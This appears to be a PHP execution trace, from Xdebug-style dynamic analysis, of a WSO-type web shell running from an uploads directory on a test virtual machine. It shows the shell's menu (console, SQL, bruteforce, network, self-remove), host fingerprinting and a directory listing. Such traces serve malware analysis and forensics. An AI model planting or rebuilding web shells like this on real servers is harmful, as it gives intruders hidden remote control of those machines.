4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 479 $cwd_links .= 'www/'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 479 $cwd_links .= 'html/'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 481 $cwd_links .= '")\'>html/</a>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 473 $i++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 475 $cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j = 0
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 479 $cwd_links .= '/'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 479 $cwd_links .= 'var/'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 479 $cwd_links .= 'www/'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 479 $cwd_links .= 'html/'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 479 $cwd_links .= 'uploads/'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 477 $j++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 481 $cwd_links .= '")\'>uploads/</a>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 473 $i++
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 486 $charsets = [0 => 'UTF-8', 1 => 'Windows-1251', 2 => 'KOI8-R', 3 => 'KOI8-U', 4 => 'cp866']
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 488 $opt_charsets = ''
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 492 $opt_charsets .= '<option value="UTF-8" >UTF-8</option>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 492 $opt_charsets .= '<option value="Windows-1251" selected>Windows-1251</option>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 492 $opt_charsets .= '<option value="KOI8-R" >KOI8-R</option>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 492 $opt_charsets .= '<option value="KOI8-U" >KOI8-U</option>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 492 $opt_charsets .= '<option value="cp866" >cp866</option>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 495 $m = ['Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network']
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 501 $m['Self remove'] = 'SelfRemove'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 503 $menu = ''
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 505 $k = 'Sec. Info'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 507 $menu .= '<th width="11%">[ <a href="#" onclick="g(\'SecInfo\',null,\'\',\'\',\'\')">Sec. Info</a> ]</th>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 505 $k = 'Files'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 507 $menu .= '<th width="11%">[ <a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">Files</a> ]</th>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 505 $k = 'Console'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 507 $menu .= '<th width="11%">[ <a href="#" onclick="g(\'Console\',null,\'\',\'\',\'\')">Console</a> ]</th>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 505 $k = 'Sql'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 507 $menu .= '<th width="11%">[ <a href="#" onclick="g(\'Sql\',null,\'\',\'\',\'\')">Sql</a> ]</th>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 505 $k = 'Php'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 507 $menu .= '<th width="11%">[ <a href="#" onclick="g(\'Php\',null,\'\',\'\',\'\')">Php</a> ]</th>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 505 $k = 'String tools'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 507 $menu .= '<th width="11%">[ <a href="#" onclick="g(\'StringTools\',null,\'\',\'\',\'\')">String tools</a> ]</th>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 505 $k = 'Bruteforce'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 507 $menu .= '<th width="11%">[ <a href="#" onclick="g(\'Bruteforce\',null,\'\',\'\',\'\')">Bruteforce</a> ]</th>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 505 $k = 'Network'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 507 $menu .= '<th width="11%">[ <a href="#" onclick="g(\'Network\',null,\'\',\'\',\'\')">Network</a> ]</th>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 505 $k = 'Self remove'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 507 $menu .= '<th width="11%">[ <a href="#" onclick="g(\'SelfRemove\',null,\'\',\'\',\'\')">Self remove</a> ]</th>'
4 A /var/www/html/uploads/00977a.php(4) : eval()'d code 510 $drives = ''
5 55 0 0.009388 1147672 php_uname 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 524 0
5 55 1 0.009403 1147784
5 55 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5 56 0 0.009428 1147784 substr 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 524 3 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 0 120
5 56 1 0.009446 1147880
5 56 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5 57 0 0.009465 1147928 phpversion 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 524 0
5 57 1 0.009478 1147992
5 57 R '7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
5 58 0 0.009495 1148120 date 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 526 1 'Y-m-d H:i:s'
5 58 1 0.009563 1150472
5 58 R '2023-02-12 21:32:30'
5 59 0 0.009584 1150312 wsoViewSize 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 526 1 232015802368
6 60 0 0.009601 1150312 sprintf 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 644 2 '%1.2f' 216.08155441284
6 60 1 0.009617 1150696
6 60 R '216.08'
5 59 1 0.009631 1150352
5 59 R '216.08 GB'
5 61 0 0.009645 1150312 wsoViewSize 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 526 1 198164074496
6 62 0 0.009659 1150312 sprintf 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 644 2 '%1.2f' 184.55467605591
6 62 1 0.009674 1150696
6 62 R '184.55'
5 61 1 0.009688 1150352
5 61 R '184.55 GB'
5 63 0 0.009703 1150568 wsoPermsColor 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 526 1 '/var/www/html/uploads/'
6 64 0 0.009718 1150568 is_readable 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 704 1 '/var/www/html/uploads/'
6 64 1 0.009740 1150608
6 64 R TRUE
6 65 0 0.009754 1150568 is_writable 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 708 1 '/var/www/html/uploads/'
6 65 1 0.009771 1150608
6 65 R TRUE
6 66 0 0.009784 1150568 fileperms 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 714 1 '/var/www/html/uploads/'
6 66 1 0.009801 1150632
6 66 R 16895
6 67 0 0.009814 1150592 wsoPerms 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 714 1 16895
6 A /var/www/html/uploads/00977a.php(4) : eval()'d code 671 $i = 'd'
6 A /var/www/html/uploads/00977a.php(4) : eval()'d code 679 $i .= 'r'
6 A /var/www/html/uploads/00977a.php(4) : eval()'d code 681 $i .= 'w'
6 A /var/www/html/uploads/00977a.php(4) : eval()'d code 683 $i .= 'x'
6 A /var/www/html/uploads/00977a.php(4) : eval()'d code 685 $i .= 'r'
6 A /var/www/html/uploads/00977a.php(4) : eval()'d code 687 $i .= 'w'
6 A /var/www/html/uploads/00977a.php(4) : eval()'d code 689 $i .= 'x'
6 A /var/www/html/uploads/00977a.php(4) : eval()'d code 691 $i .= 'r'
6 A /var/www/html/uploads/00977a.php(4) : eval()'d code 693 $i .= 'w'
6 A /var/www/html/uploads/00977a.php(4) : eval()'d code 695 $i .= 'x'
6 67 1 0.009933 1150632
6 67 R 'drwxrwxrwx'
5 63 1 0.009947 1150656
5 63 R '<font color=#25ff00>drwxrwxrwx</font>'
4 31 1 0.009976 1146704
4 68 0 0.009985 1146704 wsoScandir 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1234 1 '/var/www/html/uploads/'
5 69 0 0.010000 1146704 function_exists 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 721 1 'scandir'
5 69 1 0.010014 1146744
5 69 R TRUE
5 70 0 0.010027 1146704 scandir 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 723 1 '/var/www/html/uploads/'
5 70 1 0.010064 1147328
5 70 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => '00977a.php', 4 => 'data', 5 => 'prepend.php']
4 68 1 0.010086 1147296
4 68 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => '00977a.php', 4 => 'data', 5 => 'prepend.php']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1234 $dirContent = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => '00977a.php', 4 => 'data', 5 => 'prepend.php']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1240 $sort = [0 => 'name', 1 => 1]
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1268 $files = []
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1268 $dirs = []
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1270 $n = 6
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1272 $i = 0
4 71 0 0.010190 1147320 fileowner 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 1 '.'
4 71 1 0.010206 1147344
4 71 R 0
4 72 0 0.010219 1147304 posix_getpwuid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 1 0
4 72 1 0.010248 1148104
4 72 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 $ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 73 0 0.010290 1148072 filegroup 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 1 '.'
4 73 1 0.010304 1148112
4 73 R 0
4 74 0 0.010316 1148072 posix_getgrgid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 1 0
4 74 1 0.010340 1148728
4 74 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 $gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 75 0 0.010378 1149168 filemtime 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1282 1 '/var/www/html/uploads/.'
4 75 1 0.010394 1149224
4 75 R 1676255550
4 76 0 0.010408 1149136 date 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1282 2 'Y-m-d H:i:s' 1676255550
4 76 1 0.010440 1149464
4 76 R '2023-02-12 21:32:30'
4 77 0 0.010455 1149440 wsoPermsColor 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1284 1 '/var/www/html/uploads/.'
5 78 0 0.010469 1149440 is_readable 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 704 1 '/var/www/html/uploads/.'
5 78 1 0.010486 1149480
5 78 R TRUE
5 79 0 0.010499 1149440 is_writable 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 708 1 '/var/www/html/uploads/.'
5 79 1 0.010515 1149480
5 79 R TRUE
5 80 0 0.010528 1149440 fileperms 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 714 1 '/var/www/html/uploads/.'
5 80 1 0.010541 1149480
5 80 R 16895
5 81 0 0.010554 1149440 wsoPerms 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 714 1 16895
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 671 $i = 'd'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 679 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 681 $i .= 'w'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 683 $i .= 'x'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 685 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 687 $i .= 'w'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 689 $i .= 'x'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 691 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 693 $i .= 'w'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 695 $i .= 'x'
5 81 1 0.010674 1149480
5 81 R 'drwxrwxrwx'
4 77 1 0.010688 1149504
4 77 R '<font color=#25ff00>drwxrwxrwx</font>'
4 82 0 0.010705 1149504 filesize 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1286 1 '/var/www/html/uploads/.'
4 82 1 0.010719 1149544
4 82 R 4096
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1290 $tmp = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4 83 0 0.010756 1149504 is_file 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1294 1 '/var/www/html/uploads/.'
4 83 1 0.010770 1149544
4 83 R FALSE
4 84 0 0.010784 1149504 is_link 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1298 1 '/var/www/html/uploads/.'
4 84 1 0.010800 1149568
4 84 R FALSE
4 85 0 0.010814 1149528 is_dir 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1302 1 '/var/www/html/uploads/.'
4 85 1 0.010827 1149568
4 85 R TRUE
4 86 0 0.010841 1149480 array_merge 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1304 2 ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] ['type' => 'dir']
4 86 1 0.010867 1149920
4 86 R ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1304 $dirs[] = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1272 $i++
4 87 0 0.010932 1150232 fileowner 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 1 '..'
4 87 1 0.010948 1150256
4 87 R 0
4 88 0 0.010960 1150216 posix_getpwuid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 1 0
4 88 1 0.010985 1151016
4 88 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 $ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 89 0 0.011027 1150248 filegroup 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 1 '..'
4 89 1 0.011041 1150288
4 89 R 0
4 90 0 0.011053 1150248 posix_getgrgid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 1 0
4 90 1 0.011076 1150904
4 90 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 $gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 91 0 0.011113 1150768 filemtime 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1282 1 '/var/www/html/uploads/..'
4 91 1 0.011130 1150832
4 91 R 1676255550
4 92 0 0.011143 1150736 date 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1282 2 'Y-m-d H:i:s' 1676255550
4 92 1 0.011182 1151064
4 92 R '2023-02-12 21:32:30'
4 93 0 0.011198 1151048 wsoPermsColor 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1284 1 '/var/www/html/uploads/..'
5 94 0 0.011212 1151048 is_readable 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 704 1 '/var/www/html/uploads/..'
5 94 1 0.011228 1151088
5 94 R TRUE
5 95 0 0.011241 1151048 is_writable 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 708 1 '/var/www/html/uploads/..'
5 95 1 0.011257 1151088
5 95 R TRUE
5 96 0 0.011270 1151048 fileperms 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 714 1 '/var/www/html/uploads/..'
5 96 1 0.011283 1151088
5 96 R 16895
5 97 0 0.011296 1151048 wsoPerms 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 714 1 16895
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 671 $i = 'd'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 679 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 681 $i .= 'w'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 683 $i .= 'x'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 685 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 687 $i .= 'w'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 689 $i .= 'x'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 691 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 693 $i .= 'w'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 695 $i .= 'x'
5 97 1 0.011415 1151088
5 97 R 'drwxrwxrwx'
4 93 1 0.011429 1151112
4 93 R '<font color=#25ff00>drwxrwxrwx</font>'
4 98 0 0.011445 1151112 filesize 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1286 1 '/var/www/html/uploads/..'
4 98 1 0.011459 1151152
4 98 R 4096
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1290 $tmp = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4 99 0 0.011496 1150736 is_file 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1294 1 '/var/www/html/uploads/..'
4 99 1 0.011509 1150776
4 99 R FALSE
4 100 0 0.011523 1150736 is_link 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1298 1 '/var/www/html/uploads/..'
4 100 1 0.011539 1150784
4 100 R FALSE
4 101 0 0.011553 1150744 is_dir 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1302 1 '/var/www/html/uploads/..'
4 101 1 0.011567 1150784
4 101 R TRUE
4 102 0 0.011580 1150688 array_merge 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1304 2 ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root'] ['type' => 'dir']
4 102 1 0.011609 1151128
4 102 R ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1304 $dirs[] = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1272 $i++
4 103 0 0.011668 1151064 fileowner 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 1 '.htaccess'
4 103 1 0.011684 1151088
4 103 R 0
4 104 0 0.011697 1151048 posix_getpwuid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 1 0
4 104 1 0.011721 1151848
4 104 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 $ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 105 0 0.011763 1151080 filegroup 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 1 '.htaccess'
4 105 1 0.011777 1151120
4 105 R 0
4 106 0 0.011789 1151080 posix_getgrgid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 1 0
4 106 1 0.011812 1151736
4 106 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 $gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 107 0 0.011849 1151600 filemtime 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1282 1 '/var/www/html/uploads/.htaccess'
4 107 1 0.011866 1151656
4 107 R 1676255550
4 108 0 0.011880 1151560 date 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1282 2 'Y-m-d H:i:s' 1676255550
4 108 1 0.011912 1151888
4 108 R '2023-02-12 21:32:30'
4 109 0 0.011926 1151872 wsoPermsColor 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1284 1 '/var/www/html/uploads/.htaccess'
5 110 0 0.011940 1151872 is_readable 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 704 1 '/var/www/html/uploads/.htaccess'
5 110 1 0.011957 1151912
5 110 R TRUE
5 111 0 0.011970 1151872 is_writable 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 708 1 '/var/www/html/uploads/.htaccess'
5 111 1 0.011987 1151912
5 111 R FALSE
5 112 0 0.012001 1151872 fileperms 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 710 1 '/var/www/html/uploads/.htaccess'
5 112 1 0.012015 1151912
5 112 R 33188
5 113 0 0.012027 1151872 wsoPerms 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 710 1 33188
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 667 $i = '-'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 679 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 681 $i .= 'w'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 683 $i .= '-'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 685 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 687 $i .= '-'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 689 $i .= '-'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 691 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 693 $i .= '-'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 695 $i .= '-'
5 113 1 0.012147 1151912
5 113 R '-rw-r--r--'
4 109 1 0.012162 1151936
4 109 R '<font color=white>-rw-r--r--</font>'
4 114 0 0.012178 1151936 filesize 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1286 1 '/var/www/html/uploads/.htaccess'
4 114 1 0.012192 1151976
4 114 R 64
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1290 $tmp = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']
4 115 0 0.012229 1151560 is_file 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1294 1 '/var/www/html/uploads/.htaccess'
4 115 1 0.012243 1151600
4 115 R TRUE
4 116 0 0.012261 1151504 array_merge 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1296 2 ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root'] ['type' => 'file']
4 116 1 0.012285 1151944
4 116 R ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1296 $files[] = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 21:32:30', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1272 $i++
4 117 0 0.012344 1152256 fileowner 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 1 '00977a.php'
4 117 1 0.012361 1152280
4 117 R 1000
4 118 0 0.012374 1152240 posix_getpwuid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 1 1000
4 118 1 0.012407 1153056
4 118 R ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1274 $ow = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4 119 0 0.012452 1152288 filegroup 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 1 '00977a.php'
4 119 1 0.012466 1152328
4 119 R 1000
4 120 0 0.012479 1152288 posix_getgrgid 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 1 1000
4 120 1 0.012511 1152944
4 120 R ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
3 A /var/www/html/uploads/00977a.php(4) : eval()'d code 1276 $gr = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4 121 0 0.012549 1152824 filemtime 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1282 1 '/var/www/html/uploads/00977a.php'
4 121 1 0.012566 1152888
4 121 R 1676255550
4 122 0 0.012580 1152784 date 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 1282 2 'Y-m-d H:i:s' 1676255550
4 122 1 0.012612 1153112
4 122 R '2023-02-12 21:32:30'
4 123 0 0.012626 1153104 wsoPermsColor 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 1284 1 '/var/www/html/uploads/00977a.php'
5 124 0 0.012641 1153104 is_readable 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 704 1 '/var/www/html/uploads/00977a.php'
5 124 1 0.012657 1153144
5 124 R TRUE
5 125 0 0.012674 1153104 is_writable 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 708 1 '/var/www/html/uploads/00977a.php'
5 125 1 0.012691 1153144
5 125 R FALSE
5 126 0 0.012704 1153104 fileperms 0 /var/www/html/uploads/00977a.php(4) : eval()'d code 710 1 '/var/www/html/uploads/00977a.php'
5 126 1 0.012718 1153144
5 126 R 33204
5 127 0 0.012731 1153104 wsoPerms 1 /var/www/html/uploads/00977a.php(4) : eval()'d code 710 1 33204
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 667 $i = '-'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 679 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 681 $i .= 'w'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 683 $i .= '-'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 685 $i .= 'r'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 687 $i .= 'w'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 689 $i .= '-'
5 A /var/www/html/uploads/00977a.php(4) : eval()'d code 691 $i .= 'r'
